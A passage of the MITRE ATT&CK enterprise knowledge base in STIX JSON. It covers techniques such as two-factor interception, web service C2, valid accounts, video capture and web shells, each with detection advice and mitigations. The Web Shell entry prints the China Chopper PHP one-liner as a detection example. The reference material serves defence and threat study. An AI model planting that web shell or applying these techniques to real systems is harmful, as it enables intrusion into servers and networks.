                    "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.",
                    "url": "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html"
                },
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                    "source_name": "MSDN MSBuild",
                    "description": "Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.",
                    "url": "https://msdn.microsoft.com/library/dd393574.aspx"
                },
                {
                    "source_name": "Microsoft Debugging Tools for Windows",
                    "description": "Marshall, D. (2017, May 23). Debugging Tools for Windows (WinDbg, KD, CDB, NTSD). Retrieved June 29, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index"
                },
                {
                    "source_name": "Microsoft Docs File Tracking",
                    "description": "B, M., Brown, K., Cai, S., Hogenson, G., Warren, G. (2016, November 4). File Tracking. Retrieved November 1, 2017.",
                    "url": "https://docs.microsoft.com/visualstudio/msbuild/file-tracking"
                },
                {
                    "source_name": "Microsoft Migrating from DNX",
                    "description": "Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating from DNX to .NET Core CLI (project.json). Retrieved June 28, 2017.",
                    "url": "https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx"
                },
                {
                    "source_name": "Microsoft Roslyn CPT RCSI",
                    "description": "Osenkov, K. (2011, October 19). Introducing the Microsoft \u201cRoslyn\u201d CTP. Retrieved June 28, 2017.",
                    "url": "https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/"
                },
                {
                    "source_name": "SubTee GitHub All The Things Application Whitelisting Bypass",
                    "description": "[ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017."
                },
                {
                    "source_name": "Twitter SubTee Tracker.exe",
                    "description": "Smith, C. (2016, October 31). SubTee Twitter Status. Retrieved November 1, 2017.",
                    "url": "https://twitter.com/subTee/status/793151392185589760"
                },
                {
                    "source_name": "engima0x3 DNX Bypass",
                    "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.",
                    "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/"
                },
                {
                    "source_name": "engima0x3 RCSI Bypass",
                    "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.",
                    "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/"
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            "id": "course-of-action--e8d22ec6-2236-48de-954b-974d17492782",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Two-Factor Authentication Interception Mitigation",
            "description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1111",
                    "external_id": "T1111"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
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        {
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            "id": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:23.195Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Two-Factor Authentication Interception",
            "description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)\n\nOther hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.\n\nDetection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nPlatforms: Linux, macOS, Windows\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes.\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
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                    "external_id": "T1111"
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                {
                    "source_name": "Mandiant M Trends 2011",
                    "description": "Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.",
                    "url": "https://dl.mandiant.com/EE/assets/PDF%20MTrends%202011.pdf"
                },
                {
                    "source_name": "Operation Emmental",
                    "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.",
                    "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf"
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            "id": "course-of-action--a0d8db1d-a731-4428-8209-c07175f4b1fe",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Uncommonly Used Port Mitigation",
            "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "url": "https://attack.mitre.org/wiki/Technique/T1065",
                    "external_id": "T1065"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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        {
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            "id": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:53.408Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Uncommonly Used Port",
            "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
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                    "external_id": "T1065"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "x_mitre_network_requirements": true,
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        },
        {
            "type": "course-of-action",
            "id": "course-of-action--d45f03a8-790a-4f90-b956-cd7e5b8886bf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Valid Accounts Mitigation",
            "description": "Take measures to detect or prevent techniques such as Credential Dumping or installation of keyloggers to acquire credentials through Input Capture. Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access). Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1078",
                    "external_id": "T1078"
                },
                {
                    "source_name": "TechNet Credential Theft",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx"
                },
                {
                    "source_name": "Microsoft Securing Privileged Access",
                    "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach"
                },
                {
                    "source_name": "TechNet Least Privilege",
                    "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
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            "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:00.645Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Valid Accounts",
            "description": "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network and may even be used for persistent access to remote systems. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)\n\nDetection: Configure robust, consistent account activity audit policies across the enterprise. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs, Process monitoring\n\nEffective Permissions: User, Administrator\n\nDefense Bypassed: Anti-virus, Firewall, Host intrusion prevention systems, Network intrusion detection system, Process whitelisting, System access controls\n\nPermissions Required: User, Administrator",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1078",
                    "external_id": "T1078"
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                {
                    "source_name": "TechNet Credential Theft",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx"
                },
                {
                    "source_name": "TechNet Audit Policy",
                    "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"
                }
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            "x_mitre_data_sources": [
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                "Process monitoring"
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            "x_mitre_defense_bypassed": [
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                "Firewall",
                "Host intrusion prevention systems",
                "Network intrusion detection system",
                "Process whitelisting",
                "System access controls"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_effective_permissions": [
                "User",
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            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
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            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Video Capture Mitigation",
            "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1125",
                    "external_id": "T1125"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
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            "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:37.917Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Video Capture",
            "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, File monitoring, API monitoring\n\nPermissions Required: User",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1125",
                    "external_id": "T1125"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Process monitoring",
                "File monitoring",
                "API monitoring"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--4689b9fb-dca4-473e-831b-34717ad50c97",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Web Service Mitigation",
            "description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1102",
                    "external_id": "T1102"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:13.915Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Web Service",
            "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nPopular websites and social media can act as a mechanism for command and control and give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture\n\nPermissions Required: User\n\nRequires Network: Yes",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1102",
                    "external_id": "T1102"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Host network interface",
                "Netflow/Enclave netflow",
                "Network protocol analysis",
                "Packet capture"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--bcc91b8c-f104-4710-964e-1d5409666736",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Web Shell Mitigation",
            "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through Exploitation of Vulnerability to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1100",
                    "external_id": "T1100"
                },
                {
                    "source_name": "US-CERT Alert TA15-314A Web Shells",
                    "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:13.061Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Web Shell",
            "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.\n\nDetection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n<code><?php @eval($_POST['password']);></code>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Anti-virus, File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow\n\nEffective Permissions: User, SYSTEM\n\nSystem Requirements: Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.",
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                    "phase_name": "persistence"
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                {
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                    "url": "https://attack.mitre.org/wiki/Technique/T1100",
                    "external_id": "T1100"
                },
                {
                    "source_name": "Lee 2013",
                    "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"
                },
                {
                    "source_name": "US-CERT Alert TA15-314A Web Shells",
                    "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
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                "File monitoring",
                "Process monitoring",
                "Authentication logs",
                "Netflow/Enclave netflow"
            ],
            "x_mitre_effective_permissions": [
                "User",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "Adversary access to Web server with vulnerability or account to upload and serve the Web shell file."
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--308855d1-078b-47ad-8d2a-8f9b2713ffb5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Windows Admin Shares Mitigation",
            "description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1077",
                    "external_id": "T1077"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
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        },
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            "id": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:00.200Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Windows Admin Shares",
